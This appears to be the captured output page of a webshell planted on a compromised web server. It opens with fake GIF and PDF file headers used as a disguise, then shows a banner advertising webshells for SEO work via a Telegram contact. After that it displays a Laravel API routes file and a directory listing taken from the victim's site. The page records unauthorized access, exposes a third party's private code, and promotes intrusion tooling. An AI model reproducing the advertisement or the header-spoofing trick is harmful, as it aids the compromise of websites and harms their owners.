GIF89; GIF89; %PDF- %PDF-
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
declare(strict_types=1);
use App\Http\Controllers\Api\V1\ProjectController;
use App\Http\Controllers\Api\V1\ProjectGroupController;
use Illuminate\Support\Facades\Route;
Route::group(['prefix' => '/v1/project', 'middleware' => 'auth:sanctum'], function (): void {
Route::post('import', [ProjectController::class, 'import']);
Route::get('{modelID}/list', [ProjectController::class, 'index']);
Route::get('{modelID}/list-except-delete', [ProjectController::class, 'listExceptDelete']);
Route::post('{modelID}/add-article', [ProjectController::class, 'addArticleToProject']);
Route::post('{modelID}/payments/export', [ProjectController::class, 'excelExport']);
Route::get('{modelID}/with-payments', [ProjectController::class, 'projectsWithPayments']);
Route::get('{modelID}/grouped-list', [ProjectController::class, 'groupedList']);
Route::get('{modelID}/{projectID}', [ProjectController::class, 'show']);
Route::get('{modelID}/{projectID}/payments', [ProjectController::class, 'payments']);
Route::post('{modelID}/create', [ProjectController::class, 'store']);
Route::patch('{modelID}/{projectID}/update-limits', [ProjectController::class, 'updateLimitsProject']);
Route::patch('{modelID}/{projectID}/update-payment-article', [ProjectController::class, 'updatePaymentArticle']);
Route::delete('{modelID}/{projectID}/delete-payment-article', [ProjectController::class, 'deletePaymentArticle']);
Route::post('{modelID}/{projectID}/update', [ProjectController::class, 'update']);
Route::delete('{modelID}/{projectID}', [ProjectController::class, 'destroy']);
});
Route::group(['prefix' => '/v1/project-group', 'middleware' => 'auth:sanctum'], function (): void {
Route::group(['prefix' => '/payments-by-article', 'middleware' => 'auth:sanctum'], function (): void {
Route::get('{modelID}/{groupID}', [ProjectGroupController::class, 'getGroupedByArticle']);
});
Route::get('{modelID}/list', [ProjectGroupController::class, 'index']);
Route::get('{modelID}/{groupID}', [ProjectGroupController::class, 'show']);
Route::post('{modelID}/create', [ProjectGroupController::class, 'store']);
Route::post('{modelID}/{id}/update', [ProjectGroupController::class, 'update']);
Route::delete('{modelID}/{groupID}', [ProjectGroupController::class, 'destroy']);
});
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| endpoints | Folder | 0755 |
|
|
| endpoints.cache | Folder | 0755 |
|
|
| ArticleToGroup.php | File | 464 B | 0644 |
|
| HTMLPurifier.composer.php | File | 101 B | 0644 |
|
| OpenApiValidationErrorResponse.php | File | 726 B | 0644 |
|
| PaymentDistribution.php | File | 1.13 KB | 0644 |
|
| ResponseDto.php | File | 1.15 KB | 0644 |
|
| SerializerInterface.php | File | 1.87 KB | 0644 |
|
| api-20260128134209.php | File | 0 B | 0644 |
|
| api.php | File | 0 B | 0644 |
|
| auth.php | File | 3.93 KB | 0644 |
|
| debugbar.php | File | 0 B | 0644 |
|
| default.conf | File | 0 B | 0644 |
|
| index.html | File | 0 B | 0644 |
|
| phpunit-20260128103931.xml | File | 0 B | 0644 |
|
| projects.php | File | 2.3 KB | 0644 |
|
| services.php | File | 0 B | 0644 |
|